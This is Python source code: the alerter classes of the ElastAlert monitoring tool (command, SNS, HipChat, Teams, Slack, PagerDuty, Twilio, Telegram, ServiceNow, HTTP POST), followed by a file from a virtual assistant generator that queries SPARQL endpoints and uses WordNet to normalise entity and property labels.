'new_style_string_format' in self.rule and self.rule['new_style_string_format']: self.new_style_string_format = True def alert(self, matches): # Format the command and arguments try: if self.new_style_string_format: command = [command_arg.format(match=matches[0]) for command_arg in self.rule['command']] else: command = [command_arg % matches[0] for command_arg in self.rule['command']] self.last_command = command except KeyError as e: raise EAException("Error formatting command: %s" % (e)) # Run command and pipe data try: subp = subprocess.Popen(command, stdin=subprocess.PIPE, shell=self.shell) if self.rule.get('pipe_match_json'): match_json = json.dumps(matches, cls=DateTimeEncoder) + '\n' stdout, stderr = subp.communicate(input=match_json) if self.rule.get("fail_on_non_zero_exit", False) and subp.wait(): raise EAException("Non-zero exit code while running command %s" % (' '.join(command))) except OSError as e: raise EAException("Error while running command %s: %s" % (' '.join(command), e)) def get_info(self): return {'type': 'command', 'command': ' '.join(self.last_command)} class SnsAlerter(Alerter): """ Send alert using AWS SNS service """ required_options = frozenset(['sns_topic_arn']) def __init__(self, args): super(SnsAlerter, self).__init__(args) self.sns_topic_arn = self.rule.get('sns_topic_arn', '') self.aws_access_key_id = self.rule.get('aws_access_key_id') self.aws_secret_access_key = self.rule.get('aws_secret_access_key') self.aws_region = self.rule.get('aws_region', 'us-east-1') self.profile = self.rule.get('boto_profile', None) # Deprecated self.profile = self.rule.get('aws_profile', None) def create_default_title(self, matches): subject = 'ElastAlert: %s' % (self.rule['name']) return subject def alert(self, matches): body = self.create_alert_body(matches) session = boto3.Session( aws_access_key_id=self.aws_access_key_id, aws_secret_access_key=self.aws_secret_access_key, region_name=self.aws_region, profile_name=self.profile ) sns_client = session.client('sns') sns_client.publish( TopicArn=self.sns_topic_arn, Message=body, Subject=self.create_title(matches) ) elastalert_logger.info("Sent sns notification to %s" % (self.sns_topic_arn)) class HipChatAlerter(Alerter): """ Creates a HipChat room notification for each alert """ required_options = frozenset(['hipchat_auth_token', 'hipchat_room_id']) def __init__(self, rule): super(HipChatAlerter, self).__init__(rule) self.hipchat_msg_color = self.rule.get('hipchat_msg_color', 'red') self.hipchat_message_format = self.rule.get('hipchat_message_format', 'html') self.hipchat_auth_token = self.rule['hipchat_auth_token'] self.hipchat_room_id = self.rule['hipchat_room_id'] self.hipchat_domain = self.rule.get('hipchat_domain', 'api.hipchat.com') self.hipchat_ignore_ssl_errors = self.rule.get('hipchat_ignore_ssl_errors', False) self.hipchat_notify = self.rule.get('hipchat_notify', True) self.hipchat_from = self.rule.get('hipchat_from', '') self.url = 'https://%s/v2/room/%s/notification?auth_token=%s' % ( self.hipchat_domain, self.hipchat_room_id, self.hipchat_auth_token) self.hipchat_proxy = self.rule.get('hipchat_proxy', None) def alert(self, matches): body = self.create_alert_body(matches) # HipChat sends 400 bad request on messages longer than 10000 characters if (len(body) > 9999): body = body[:9980] + '..(truncated)' # Use appropriate line ending for text/html if self.hipchat_message_format == 'html': body = body.replace('\n', '<br />') # Post to HipChat headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.hipchat_proxy} if self.hipchat_proxy else None payload = { 'color': self.hipchat_msg_color, 'message': body, 'message_format': self.hipchat_message_format, 'notify': self.hipchat_notify, 'from': self.hipchat_from } try: if self.hipchat_ignore_ssl_errors: requests.packages.urllib3.disable_warnings() response = requests.post(self.url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, verify=not self.hipchat_ignore_ssl_errors, proxies=proxies) warnings.resetwarnings() response.raise_for_status() except RequestException as e: raise EAException("Error posting to HipChat: %s" % e) elastalert_logger.info("Alert sent to HipChat room %s" % self.hipchat_room_id) def get_info(self): return {'type': 'hipchat', 'hipchat_room_id': self.hipchat_room_id} class MsTeamsAlerter(Alerter): """ Creates a Microsoft Teams Conversation Message for each alert """ required_options = frozenset(['ms_teams_webhook_url', 'ms_teams_alert_summary']) def __init__(self, rule): super(MsTeamsAlerter, self).__init__(rule) self.ms_teams_webhook_url = self.rule['ms_teams_webhook_url'] if isinstance(self.ms_teams_webhook_url, basestring): self.ms_teams_webhook_url = [self.ms_teams_webhook_url] self.ms_teams_proxy = self.rule.get('ms_teams_proxy', None) self.ms_teams_alert_summary = self.rule.get('ms_teams_alert_summary', 'ElastAlert Message') self.ms_teams_alert_fixed_width = self.rule.get('ms_teams_alert_fixed_width', False) self.ms_teams_theme_color = self.rule.get('ms_teams_theme_color', '') def format_body(self, body): body = body.encode('UTF-8') if self.ms_teams_alert_fixed_width: body = body.replace('`', "'") body = "```{0}```".format('```\n\n```'.join(x for x in body.split('\n'))).replace('\n``````', '') return body def alert(self, matches): body = self.create_alert_body(matches) body = self.format_body(body) # post to Teams headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.ms_teams_proxy} if self.ms_teams_proxy else None payload = { '@type': 'MessageCard', '@context': 'http://schema.org/extensions', 'summary': self.ms_teams_alert_summary, 'title': self.create_title(matches), 'text': body } if self.ms_teams_theme_color != '': payload['themeColor'] = self.ms_teams_theme_color for url in self.ms_teams_webhook_url: try: response = requests.post(url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to ms teams: %s" % e) elastalert_logger.info("Alert sent to MS Teams") def get_info(self): return {'type': 'ms_teams', 'ms_teams_webhook_url': self.ms_teams_webhook_url} class SlackAlerter(Alerter): """ Creates a Slack room message for each alert """ required_options = frozenset(['slack_webhook_url']) def __init__(self, rule): super(SlackAlerter, self).__init__(rule) self.slack_webhook_url = self.rule['slack_webhook_url'] if isinstance(self.slack_webhook_url, basestring): self.slack_webhook_url = [self.slack_webhook_url] self.slack_proxy = self.rule.get('slack_proxy', None) self.slack_username_override = self.rule.get('slack_username_override', 'elastalert') self.slack_channel_override = self.rule.get('slack_channel_override', '') self.slack_emoji_override = self.rule.get('slack_emoji_override', ':ghost:') self.slack_icon_url_override = self.rule.get('slack_icon_url_override', '') self.slack_msg_color = self.rule.get('slack_msg_color', 'danger') self.slack_parse_override = self.rule.get('slack_parse_override', 'none') self.slack_text_string = self.rule.get('slack_text_string', '') def format_body(self, body): # https://api.slack.com/docs/formatting body = body.encode('UTF-8') body = body.replace('&', '&') body = body.replace('<', '<') body = body.replace('>', '>') return body def alert(self, matches): body = self.create_alert_body(matches) body = self.format_body(body) # post to slack headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.slack_proxy} if self.slack_proxy else None payload = { 'username': self.slack_username_override, 'channel': self.slack_channel_override, 'parse': self.slack_parse_override, 'text': self.slack_text_string, 'attachments': [ { 'color': self.slack_msg_color, 'title': self.create_title(matches), 'text': body, 'mrkdwn_in': ['text', 'pretext'], 'fields': [] } ] } if self.slack_icon_url_override != '': payload['icon_url'] = self.slack_icon_url_override else: payload['icon_emoji'] = self.slack_emoji_override for url in self.slack_webhook_url: try: response = requests.post(url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to slack: %s" % e) elastalert_logger.info("Alert sent to Slack") def get_info(self): return {'type': 'slack', 'slack_username_override': self.slack_username_override, 'slack_webhook_url': self.slack_webhook_url} class PagerDutyAlerter(Alerter): """ Create an incident on PagerDuty for each alert """ required_options = frozenset(['pagerduty_service_key', 'pagerduty_client_name']) def __init__(self, rule): super(PagerDutyAlerter, self).__init__(rule) self.pagerduty_service_key = self.rule['pagerduty_service_key'] self.pagerduty_client_name = self.rule['pagerduty_client_name'] self.pagerduty_incident_key = self.rule.get('pagerduty_incident_key', '') self.pagerduty_incident_key_args = self.rule.get('pagerduty_incident_key_args', None) self.pagerduty_proxy = self.rule.get('pagerduty_proxy', None) self.url = 'https://events.pagerduty.com/generic/2010-04-15/create_event.json' def alert(self, matches): body = self.create_alert_body(matches) # post to pagerduty headers = {'content-type': 'application/json'} payload = { 'service_key': self.pagerduty_service_key, 'description': self.create_title(matches), 'event_type': 'trigger', 'incident_key': self.get_incident_key(matches), 'client': self.pagerduty_client_name, 'details': { "information": body.encode('UTF-8'), }, } # set https proxy, if it was provided proxies = {'https': self.pagerduty_proxy} if self.pagerduty_proxy else None try: response = requests.post( self.url, data=json.dumps(payload, cls=DateTimeEncoder, ensure_ascii=False), headers=headers, proxies=proxies ) response.raise_for_status() except RequestException as e: raise EAException("Error posting to pagerduty: %s" % e) elastalert_logger.info("Trigger sent to PagerDuty") def get_incident_key(self, matches): if self.pagerduty_incident_key_args: incident_key_values = [lookup_es_key(matches[0], arg) for arg in self.pagerduty_incident_key_args] # Populate values with rule level properties too for i in range(len(incident_key_values)): if incident_key_values[i] is None: key_value = self.rule.get(self.pagerduty_incident_key_args[i]) if key_value: incident_key_values[i] = key_value incident_key_values = ['<MISSING VALUE>' if val is None else val for val in incident_key_values] return self.pagerduty_incident_key.format(incident_key_values) else: return self.pagerduty_incident_key def get_info(self): return {'type': 'pagerduty', 'pagerduty_client_name': self.pagerduty_client_name} class ExotelAlerter(Alerter): required_options = frozenset(['exotel_account_sid', 'exotel_auth_token', 'exotel_to_number', 'exotel_from_number']) def __init__(self, rule): super(ExotelAlerter, self).__init__(rule) self.exotel_account_sid = self.rule['exotel_account_sid'] self.exotel_auth_token = self.rule['exotel_auth_token'] self.exotel_to_number = self.rule['exotel_to_number'] self.exotel_from_number = self.rule['exotel_from_number'] self.sms_body = self.rule.get('exotel_message_body', '') def alert(self, matches): client = Exotel(self.exotel_account_sid, self.exotel_auth_token) try: message_body = self.rule['name'] + self.sms_body response = client.sms(self.rule['exotel_from_number'], self.rule['exotel_to_number'], message_body) if response != 200: raise EAException("Error posting to Exotel, response code is %s" % response) except: raise EAException("Error posting to Exotel"), None, sys.exc_info()[2] elastalert_logger.info("Trigger sent to Exotel") def get_info(self): return {'type': 'exotel', 'exotel_account': self.exotel_account_sid} class TwilioAlerter(Alerter): required_options = frozenset(['twilio_account_sid', 'twilio_auth_token', 'twilio_to_number', 'twilio_from_number']) def __init__(self, rule): super(TwilioAlerter, self).__init__(rule) self.twilio_account_sid = self.rule['twilio_account_sid'] self.twilio_auth_token = self.rule['twilio_auth_token'] self.twilio_to_number = self.rule['twilio_to_number'] self.twilio_from_number = self.rule['twilio_from_number'] def alert(self, matches): client = TwilioClient(self.twilio_account_sid, self.twilio_auth_token) try: client.messages.create(body=self.rule['name'], to=self.twilio_to_number, from_=self.twilio_from_number) except TwilioRestException as e: raise EAException("Error posting to twilio: %s" % e) elastalert_logger.info("Trigger sent to Twilio") def get_info(self): return {'type': 'twilio', 'twilio_client_name': self.twilio_from_number} class VictorOpsAlerter(Alerter): """ Creates a VictorOps Incident for each alert """ required_options = frozenset(['victorops_api_key', 'victorops_routing_key', 'victorops_message_type']) def __init__(self, rule): super(VictorOpsAlerter, self).__init__(rule) self.victorops_api_key = self.rule['victorops_api_key'] self.victorops_routing_key = self.rule['victorops_routing_key'] self.victorops_message_type = self.rule['victorops_message_type'] self.victorops_entity_display_name = self.rule.get('victorops_entity_display_name', 'no entity display name') self.url = 'https://alert.victorops.com/integrations/generic/20131114/alert/%s/%s' % ( self.victorops_api_key, self.victorops_routing_key) self.victorops_proxy = self.rule.get('victorops_proxy', None) def alert(self, matches): body = self.create_alert_body(matches) # post to victorops headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.victorops_proxy} if self.victorops_proxy else None payload = { "message_type": self.victorops_message_type, "entity_display_name": self.victorops_entity_display_name, "monitoring_tool": "ElastAlert", "state_message": body } try: response = requests.post(self.url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to VictorOps: %s" % e) elastalert_logger.info("Trigger sent to VictorOps") def get_info(self): return {'type': 'victorops', 'victorops_routing_key': self.victorops_routing_key} class TelegramAlerter(Alerter): """ Send a Telegram message via bot api for each alert """ required_options = frozenset(['telegram_bot_token', 'telegram_room_id']) def __init__(self, rule): super(TelegramAlerter, self).__init__(rule) self.telegram_bot_token = self.rule['telegram_bot_token'] self.telegram_room_id = self.rule['telegram_room_id'] self.telegram_api_url = self.rule.get('telegram_api_url', 'api.telegram.org') self.url = 'https://%s/bot%s/%s' % (self.telegram_api_url, self.telegram_bot_token, "sendMessage") self.telegram_proxy = self.rule.get('telegram_proxy', None) def alert(self, matches): body = u'⚠ %s ⚠ ```\n' % (self.create_title(matches)) for match in matches: body += unicode(BasicMatchString(self.rule, match)) # Separate text of aggregated alerts with dashes if len(matches) > 1: body += '\n----------------------------------------\n' body += u' ```' headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.telegram_proxy} if self.telegram_proxy else None payload = { 'chat_id': self.telegram_room_id, 'text': body, 'parse_mode': 'markdown', 'disable_web_page_preview': True } try: response = requests.post(self.url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) warnings.resetwarnings() response.raise_for_status() except RequestException as e: raise EAException("Error posting to Telegram: %s" % e) elastalert_logger.info( "Alert sent to Telegram room %s" % self.telegram_room_id) def get_info(self): return {'type': 'telegram', 'telegram_room_id': self.telegram_room_id} class GitterAlerter(Alerter): """ Creates a Gitter activity message for each alert """ required_options = frozenset(['gitter_webhook_url']) def __init__(self, rule): super(GitterAlerter, self).__init__(rule) self.gitter_webhook_url = self.rule['gitter_webhook_url'] self.gitter_proxy = self.rule.get('gitter_proxy', None) self.gitter_msg_level = self.rule.get('gitter_msg_level', 'error') def alert(self, matches): body = self.create_alert_body(matches) # post to Gitter headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.gitter_proxy} if self.gitter_proxy else None payload = { 'message': body, 'level': self.gitter_msg_level } try: response = requests.post(self.gitter_webhook_url, json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to Gitter: %s" % e) elastalert_logger.info("Alert sent to Gitter") def get_info(self): return {'type': 'gitter', 'gitter_webhook_url': self.gitter_webhook_url} class ServiceNowAlerter(Alerter): """ Creates a ServiceNow alert """ required_options = set([ 'username', 'password', 'servicenow_rest_url', 'short_description', 'comments', 'assignment_group', 'category', 'subcategory', 'cmdb_ci', 'caller_id' ]) def __init__(self, rule): super(ServiceNowAlerter, self).__init__(rule) self.servicenow_rest_url = self.rule['servicenow_rest_url'] self.servicenow_proxy = self.rule.get('servicenow_proxy', None) def alert(self, matches): for match in matches: # Parse everything into description. description = str(BasicMatchString(self.rule, match)) # Set proper headers headers = { "Content-Type": "application/json", "Accept": "application/json;charset=utf-8" } proxies = {'https': self.servicenow_proxy} if self.servicenow_proxy else None payload = { "description": description, "short_description": self.rule['short_description'], "comments": self.rule['comments'], "assignment_group": self.rule['assignment_group'], "category": self.rule['category'], "subcategory": self.rule['subcategory'], "cmdb_ci": self.rule['cmdb_ci'], "caller_id": self.rule["caller_id"] } try: response = requests.post( self.servicenow_rest_url, auth=(self.rule['username'], self.rule['password']), headers=headers, data=json.dumps(payload, cls=DateTimeEncoder), proxies=proxies ) response.raise_for_status() except RequestException as e: raise EAException("Error posting to ServiceNow: %s" % e) elastalert_logger.info("Alert sent to ServiceNow") def get_info(self): return {'type': 'ServiceNow', 'self.servicenow_rest_url': self.servicenow_rest_url} class HTTPPostAlerter(Alerter): """ Requested elasticsearch indices are sent by HTTP POST. Encoded with JSON. """ def __init__(self, rule): super(HTTPPostAlerter, self).__init__(rule) post_url = self.rule.get('http_post_url') if isinstance(post_url, basestring): post_url = [post_url] self.post_url = post_url self.post_proxy = self.rule.get('http_post_proxy') self.post_payload = self.rule.get('http_post_payload', {}) self.post_static_payload = self.rule.get('http_post_static_payload', {}) self.post_all_values = self.rule.get('http_post_all_values', not self.post_payload) def alert(self, matches): """ Each match will trigger a POST to the specified endpoint(s). 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generator_configuration.py	mariaangelapellegrino/virtual_assistant_generator	2	28863	from nltk.corpus import wordnet as wn import json from pyinflect import getAllInflections, getInflection import re import inflect import urllib.parse from SPARQLWrapper import SPARQLWrapper, JSON from urllib.parse import quote from py_thesaurus import Thesaurus import sys, getopt WN_NOUN = 'n' WN_VERB = 'v' WN_ADJECTIVE = 'a' WN_ADJECTIVE_SATELLITE = 's' WN_ADVERB = 'r' entities = {} properties = {} def nounify(verb_word): """ Transform a verb to the closest noun: die -> death """ verb_synsets = wn.synsets(verb_word, pos="v") # Word not found if not verb_synsets: return [] # Get all verb lemmas of the word verb_lemmas = [] for s in verb_synsets: for l in s.lemmas(): if s.name().split('.')[1] == 'v': verb_lemmas.append(l) print(verb_lemmas) # Get related forms derivationally_related_forms = [(l, l.derivationally_related_forms()) \ for l in verb_lemmas] # filter only the nouns related_noun_lemmas = [l for drf in derivationally_related_forms \ for l in drf[1] if l.synset().name().split('.')[1] == 'n'] # Extract the words from the lemmas words = [l.name() for l in related_noun_lemmas] len_words = len(words) # Build the result in the form of a list containing tuples (word, probability) result = [(w, float(words.count(w))/len_words) for w in set(words)] result.sort(key=lambda w: -w[1]) # return all the possibilities sorted by probability return result def convert(word, from_pos, to_pos): """ Transform words given from/to POS tags """ synsets = wn.synsets(word, pos=from_pos) # Word not found if not synsets: return [] # Get all lemmas of the word (consider 'a'and 's' equivalent) lemmas = [] for s in synsets: for l in s.lemmas(): if s.name().split('.')[1] == from_pos or from_pos in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE) and s.name().split('.')[1] in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE): lemmas += [l] # Get related forms derivationally_related_forms = [(l, l.derivationally_related_forms()) for l in lemmas] # filter only the desired pos (consider 'a' and 's' equivalent) related_noun_lemmas = [] for drf in derivationally_related_forms: for l in drf[1]: if l.synset().name().split('.')[1] == to_pos or to_pos in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE) and l.synset().name().split('.')[1] in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE): related_noun_lemmas += [l] # Extract the words from the lemmas words = [l.name() for l in related_noun_lemmas] len_words = len(words) # Build the result in the form of a list containing tuples (word, probability) result = [(w, float(words.count(w)) / len_words) for w in set(words)] result.sort(key=lambda w:-w[1]) # return all the possibilities sorted by probability return result def clean_value(value): value = value.lower() value = value.replace("$", "dollar ") #value = value.replace("€", "euro ") temp = '' for word in value.split(): if word.startswith('%'): word = urllib.parse.unquote(word) temp = temp + " " + word value = temp value = re.sub(r"[%][a-zA-Z0-9]+", "", value) value = value.replace("&", "and") value = value.replace("/", " or ") value = re.sub(r"([(].[)])", "", value) value = value.replace("'", "") value = value.replace('"', "") value = value.replace(':', "") value = value.replace(',', "") value = value.replace('<', "") value = value.replace('>', "") value = value.replace('(', "") value = value.replace(')', "") value = value.replace('!', "") value = value.replace('\\', "") value = value.replace('+', " ") value = value.replace("_", " ") p = inflect.engine() temp = '' for word in value.split(): if word.isdigit() or bool(re.match('^([0-9]\|[,]\|[.])$',word)): word = p.number_to_words(word) temp = temp + " " + word value = temp value = value.strip() value = re.sub(r"[ \s\n\t]+", " ", value) return value def contains_special_characters(value): return not bool(re.match('^([a-zA-Z]\|[ ]\|[-])$',value)) def remove_ambiguities_slot_properties(): global properties #with open('./augmented_slot_properties.json') as f: # properties = json.load(f) all_properties_value = list(properties.keys()) for key in properties: if 'synonyms' in properties[key]: synonyms = properties[key]['synonyms'] new_synoynms= [] for synonym in synonyms: if not synonym in all_properties_value: all_properties_value.append(synonym) new_synoynms.append(synonym) properties[key]['synonyms'] = new_synoynms #with open("./augmented_slot_properties.json", "w") as write_file: # json.dump(properties, write_file, indent=4) def augment_slot_properties(): global properties #with open('./cleaned_slot_properties.json') as f: # properties = json.load(f) for key in properties: # nouns to verbs verb_tuples = convert(key, 'n', 'v') verb_form = [] for verb_tuple in verb_tuples: value = verb_tuple[0] value = clean_value(value) verb_form.append(value) verb_form = set(verb_form) # add verb inflections for verb in verb_form: temp = getAllInflections(verb) inflections = [] for t in temp: value = temp[t][0] value = clean_value(value) inflections.append(value) inflections = set(inflections) verb_form = verb_form.union(inflections) verb_form = set(verb_form) if key in verb_form: verb_form.remove(key) verb_form = list(verb_form) # nouns to adjectives adjective_tuples = convert(key, 'n', 'a') adjective_form = [] for adjective_tuple in adjective_tuples: value = adjective_tuple[0] value = clean_value(value) adjective_form.append(value) adjective_form = set(adjective_form) if key in adjective_form: adjective_form.remove(key) adjective_form = list(adjective_form) ''' # noun synonyms synonyms = [clean_value(l.name()) for synset in wn.synsets(key) for l in synset.lemmas()] synonyms = set(synonyms) temp = set() for s in synonyms: if not s in all_augmented_value: temp.add(s) #if key in temp: # temp.remove(key) synonyms = list(temp) # combine all extended_synonyms = list(set(verb_form + synonyms + adjective_form)) ''' extended_synonyms = list(set(verb_form + adjective_form)) if extended_synonyms: properties[key]["synonyms"] = extended_synonyms #with open("./augmented_slot_properties.json", "w") as write_file: # json.dump(properties, write_file, indent=4) def clean_slot_properties(): global properties #with open('./slot_properties.json') as f: # properties = json.load(f) cleaned_properties = {} for key in properties: if contains_special_characters(key): new_key = clean_value(key) else: new_key = key if new_key and len(new_key.strip())>0 and not contains_special_characters(new_key): if not new_key in cleaned_properties: cleaned_properties[new_key] = {'urls':[]} cleaned_properties[new_key]['urls'] = list(set(cleaned_properties[new_key]['urls'] + properties[key]['urls'])) if 'synonyms' in properties[key]: if not 'synonyms' in cleaned_properties[new_key]: cleaned_properties[new_key]['synonyms'] = [] cleaned_properties[new_key]['synonyms'] = list(set(cleaned_properties[new_key]['synonyms'] + properties[key]['synonyms'])) #with open("./cleaned_slot_properties.json", "w") as write_file: # json.dump(cleaned_properties, write_file, indent=4) properties = cleaned_properties def augment_slot_entities(): with open('./cleaned_slot_entities.json') as f: entities = json.load(f) for key in entities: synonyms = [clean_value(l.name()) for synset in wn.synsets(key) for l in synset.lemmas()] synonyms = set(synonyms) if key in synonyms: synonyms.remove(key) synonyms = list(synonyms) if synonyms: entities[key]["synonyms"] = synonyms with open("./augmented_slot_entities.json", "w") as write_file: json.dump(entities, write_file, indent=4) def clean_slot_entities(): global entities #with open('./slot_entities.json') as f: # entities = json.load(f) cleaned_entities = {} for key in entities: if contains_special_characters(key): new_key = clean_value(key) else: new_key = key if new_key and len(new_key.strip())>0 and not contains_special_characters(new_key): if not new_key in cleaned_entities: cleaned_entities[new_key] = {'urls':[]} cleaned_entities[new_key]['urls'] = list(set(cleaned_entities[new_key]['urls'] + entities[key]['urls'])) if 'synonyms' in entities[key]: if not 'synonyms' in cleaned_entities[new_key]: cleaned_entities[new_key]['synonyms'] = [] cleaned_entities[new_key]['synonyms'] = list(set(cleaned_entities[new_key]['synonyms'] + entities[key]['synonyms'])) #with open("./cleaned_slot_entities.json", "w") as write_file: # json.dump(cleaned_entities, write_file, indent=4) entities = cleaned_entities def generate_entity_label(slot): parts = slot["class"]["value"].split("/") label = parts[-1] if "#" in label: parts = label.split("#") label = parts[-1] s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', label) label = re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower() label = label.replace("_", " ") return label def store_entities(result): global entities for slot in result["results"]["bindings"]: if "label" not in slot or "value" not in slot["label"] : label = generate_entity_label(slot) else: label = slot["label"]["value"] label = label.lower() if len(label) < 140: if label not in entities: entities[label] = {"urls" : set()} entities[label]["urls"].add("<"+slot["class"]["value"]+">") def query_skosConcepts(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX skos: <http://www.w3.org/2004/02/skos/core#> " "SELECT DISTINCT ?class ?label WHERE { " "?class a skos:Concept." "OPTIONAL{ " "?class skos:prefLabel ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} ") sparql.setQuery(query) sparql.setReturnFormat(JSON) result = sparql.query().convert() try: result = sparql.query().convert() store_entities(result) print("OK skos:concepts query") except: print("Failed skos:concepts query") pass def query_rdfsClasses(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?class ?label WHERE { " "?class a rdfs:Class. " "OPTIONAL{ " "?class rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} ") sparql.setQuery(query) sparql.setReturnFormat(JSON) result = sparql.query().convert() try: result = sparql.query().convert() store_entities(result) print("OK rdfs:classes query") except: print("Failed rdfs:classes query") pass def query_owlClasses(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX owl: <http://www.w3.org/2002/07/owl#> " "PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?class ?label WHERE { " "?class a owl:Class. " "OPTIONAL{ " "?class rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) result = sparql.query().convert() try: result = sparql.query().convert() store_entities(result) print("OK owl classes query") except: print("Failed owl classes query") pass def query_usedClasses(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?class ?label WHERE { " "[] a ?class. " "OPTIONAL{ " "?class rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} ") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_entities(result) print("OK used classes query") except: print("Failed used classes query") pass def query_entities(sparql_endpoint, defaultGraph = "", lang="en"): global entities query_usedClasses(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_skosConcepts(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_rdfsClasses(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_owlClasses(sparql_endpoint, defaultGraph= defaultGraph, lang= lang) for e in entities: entities[e]["urls"] = list(entities[e]["urls"]) #with open("./slot_entities.json", "w") as write_file: # json.dump(entities, write_file, indent=4) def generate_property_label(slot): parts = slot["p"]["value"].split("/") label = parts[-1] if "#" in label: parts = label.split("#") label = parts[-1] s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', label) label = re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower() label = label.replace("_", " ") return label def store_properties(result): global properties for slot in result["results"]["bindings"]: if "label" not in slot or "value" not in slot["label"] : label = generate_property_label(slot) else: label = slot["label"]["value"] label = label.lower() if len(label) < 140: if label not in properties: properties[label] = {"urls" : set()} properties[label]["urls"].add("<"+slot["p"]["value"]+">") def query_rdfProperty(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "PREFIX rdf: <https://www.w3.org/1999/02/22-rdf-syntax-ns#>" "SELECT DISTINCT ?p ?label WHERE { " "?p rdf:type rdf:Property. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK rdf:Property query") except: print("failed rdf:Property query") pass def query_owlDatatypeProperties(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>" "PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>" "PREFIX owl: <http://www.w3.org/2002/07/owl#>" "SELECT DISTINCT ?p ?label WHERE { " "?p rdf:type owl:DatatypeProperty. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK owl:DatatypeProperty query") except: print("failed owl:DatatypeProperty query") pass def query_owlObjectProperties(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>" "PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>" "PREFIX owl: <http://www.w3.org/2002/07/owl#>" "SELECT DISTINCT ?p ?label WHERE { " "?p rdf:type owl:ObjectProperty. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK owl:ObjectProperty query") except: print("failed owl:ObjectProperty query") pass def query_usedPropertiesWithoutLabels(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("SELECT DISTINCT ?p WHERE { ?s ?p ?o. }") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK used property without labels query") except: print("failed used property without labels query") pass def query_usedProperties(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?p ?label WHERE { " "?s ?p ?o. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} LIMIT 500") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK used property with labels query") except: print("failed used property with labels query") query_usedPropertiesWithoutLabels(sparql_endpoint, defaultGraph, lang) def query_properties(sparql_endpoint, defaultGraph = "", lang="en"): global properties #query_usedProperties(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_usedPropertiesWithoutLabels(sparql_endpoint, 